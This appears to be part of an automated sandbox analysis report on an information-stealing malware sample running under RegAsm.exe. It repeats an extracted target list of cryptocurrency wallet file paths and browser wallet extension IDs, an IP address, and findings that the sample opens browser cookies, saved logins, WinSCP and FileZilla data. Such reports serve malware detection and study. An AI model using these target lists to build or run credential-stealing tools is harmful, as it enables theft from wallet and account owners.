Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|1\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|MetaMask\|1\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|1\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|TronLink\|1\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|BinanceChainWallet\|1\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|1\|0\|Yoroi\|1\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase\|1\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|1\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|1\|iWallet\|1\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|RoninWallet\|1\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|1\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CloverWallet\|1\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|LiqualityWallet\|1\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra_Station\|1\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|1\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|AuroWallet\|1\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|PolymeshWallet\|1\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|1\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98\|1\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|1\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain\|1\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|1\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|1\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Oxygen (Atomic)\|1\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|PaliWallet\|1\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|NamiWallet\|1\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Solflare\|1\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|CyanoWallet\|1\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|1\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|1\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Goby\|1\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|RoninWalletEdge\|1\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|UniSat Wallet\|1\|ppbibelpcjmhbdihakflkdcoccbgbkpo\|1\|0\|0\|Authenticator\|0\|bhghoamapcdpbohphigoooaddinpkbai\|1\|1\|0\|GAuth Authenticator\|0\|ilgcnhelpchnceeipipijaljkblbcobl\|1\|1\|1\|Tronium\|1\|pnndplcbkakcplkjnolgbkdgjikjednm\|1\|0\|0\|Trust Wallet\|1\|egjidjbpglichdcondbcbdnbeeppgdph\|1\|0\|0\|Exodus Web3 Wallet\|1\|aholpfdialjgjfhomihkjbmgjidlcdno\|1\|0\|0\|Braavos\|1\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|1\|kkpllkodjeloidieedojogacfhpaihoh\|1\|0\|0\|OKX Web3 Wallet\|1\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender\|1\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|1\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|GeroWallet\|1\|bgpipimickeadkjlklgciifhnalhdjhe\|1\|0\|0\|Pontem Wallet\|1\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Finnie\|1\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra\|1\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Microsoft AutoFill\|0\|fiedbfgcleddlbcmgdigjgdfcggjcion\|1\|0\|0\|Bitwarden\|0\|nngceckbapebfimnlniiiahkandclblb\|1\|0\|0\|KeePass Tusk\|0\|fmhmiaejopepamlcjkncpgpdjichnecm\|1\|0\|0\|KeePassXC-Browser\|0\|oboonakemofpalcgghocfoadofidjkkk\|1\|0\|0\|Rise - Aptos Wallet\|1\|hbbgbephgojikajhfbomhlmmollphcad\|1\|0\|0\|Rainbow Wallet\|1\|opfgelmcmbiajamepnmloijbpoleiama\|1\|0\|0\|Nightly\|1\|fiikommddbeccaoicoejoniammnalkfa\|1\|0\|0\|Ecto Wallet\|1\|bgjogpoidejdemgoochpnkmdjpocgkha\|1\|0\|0\|Coinhub\|1\|jgaaimajipbpdogpdglhaphldakikgef\|1\|0\|0\|Leap Cosmos Wallet\|1\|fcfcfllfndlomdhbehjjcoimbgofdncg\|1\|0\|0\|MultiversX DeFi Wal
Source: RegAsm.exe, 0000000B.00000002.2871528825.00000000273D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 147.45.44.104ngineer\AppData\Roaming\Binance\.finger-print.fp
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

